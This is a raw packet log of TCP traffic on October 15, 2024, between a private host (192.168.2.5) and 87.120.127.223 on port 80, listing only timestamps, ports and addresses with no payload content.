Oct 15, 2024 19:22:29.243240118 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.291281939 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.312016964 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312105894 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312139034 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312163115 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.312195063 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312230110 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312238932 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.312263966 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312298059 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312308073 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.312333107 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312367916 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312402010 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312417984 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.312448978 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.312496901 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312534094 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312578917 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.312587023 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312619925 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312655926 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.312664986 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.312963963 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.313020945 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.313050032 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.313086033 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.313172102 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.316353083 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.316776991 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.316824913 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.316848040 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.316895008 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.316931963 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.316983938 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.316984892 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317018986 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317028046 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.317054033 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317086935 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317090034 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.317122936 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317159891 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317178965 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.317194939 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317229033 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317234993 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.317262888 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317296982 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317302942 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.317331076 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317363024 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317395926 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317404985 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.317430019 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317440987 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.317467928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.317507029 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.326347113 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326416016 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326464891 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.326469898 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326505899 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326539040 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326567888 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.326592922 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326626062 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326642036 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.326658964 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326689005 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326699018 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.326720953 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326772928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326805115 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326821089 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.326837063 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326864004 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.326865911 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326915979 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326948881 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.326955080 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.326987982 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.327001095 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327033043 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327065945 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327100039 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327109098 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.327131987 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327136993 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.327166080 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327198982 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327203989 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.327234030 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327266932 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327296019 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327312946 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.327327013 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327336073 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.327362061 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327572107 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.327775955 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327827930 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.327877045 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.358457088 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.358529091 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.358563900 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.358584881 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.358598948 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.358633041 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.358655930 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.358669043 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.358702898 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.358711958 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.400669098 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.430197954 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430244923 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430301905 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430305958 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.430336952 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430367947 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430402040 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430435896 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430469990 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430505037 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430532932 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430541992 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.430542946 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.430566072 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430573940 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.430599928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430603981 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.430633068 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430666924 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430682898 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.430700064 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430731058 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.430735111 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430768013 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430799961 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430814981 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.430830002 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430845022 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.430862904 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430896997 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.430902004 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.432554007 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432584047 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432615042 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.432636023 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432668924 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432682037 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.432722092 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432755947 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432800055 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.432806969 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432841063 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432862043 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.432873964 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432905912 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432925940 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.432938099 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432972908 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.432985067 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.433007956 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.433039904 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.433063984 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.433075905 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.433125973 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.433172941 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.433206081 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.433239937 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.433271885 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.433280945 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.433310986 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.433320045 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.441735983 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.441781998 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.441812038 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.441843987 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.441881895 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.441915035 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.441929102 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.441967010 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.441970110 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442024946 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442060947 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442094088 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442117929 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.442128897 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442162037 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.442189932 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442243099 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442243099 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.442276001 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442312002 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442358971 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.442362070 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442398071 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442410946 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.442431927 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442471027 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442508936 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442527056 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.442545891 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442553043 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.442579985 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442614079 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442646027 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442652941 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.442679882 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442688942 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.442714930 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442751884 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442763090 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.442785978 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442837954 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.442888975 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.443521976 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.443552017 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.443602085 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.473649025 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.473670006 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.473694086 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.473709106 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.473723888 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.473727942 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.473738909 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.473753929 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.473764896 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.473790884 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.473805904 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.473829985 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.473853111 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.545744896 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.545830965 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.545888901 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.545902967 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.545957088 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.545991898 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546024084 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546041965 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.546060085 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546092033 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.546092987 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546150923 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.546184063 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546236992 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546267986 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546298981 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.546302080 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546350956 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.546355009 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546406031 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546462059 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546490908 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546514988 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.546525002 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546581984 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546616077 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.546639919 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.546653986 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.549539089 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.549572945 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.549596071 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.549626112 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.549658060 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.549673080 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.549693108 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.549726009 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.549761057 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.549772024 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.549804926 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.549843073 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.549875975 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.549942970 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.549992085 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550024986 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550059080 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550070047 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.550087929 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550128937 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.550143003 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550178051 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550209999 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550223112 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.550241947 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550275087 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550286055 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.550307989 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550338984 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550383091 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.550390005 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550419092 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550431967 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.550451994 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550486088 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550496101 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.550524950 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550559998 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.550569057 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.557756901 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.557786942 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.557821989 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.557867050 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.557878017 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.557930946 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.557945967 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.557967901 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558020115 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558021069 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558058023 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558090925 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558110952 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558125973 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558178902 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558181047 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558207989 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558233023 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558257103 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558291912 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558325052 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558331966 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558365107 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558381081 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558418036 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558453083 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558464050 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558485031 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558538914 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558569908 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558585882 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558604002 CEST	80	49761	87.120.127.223	192.168.2.5
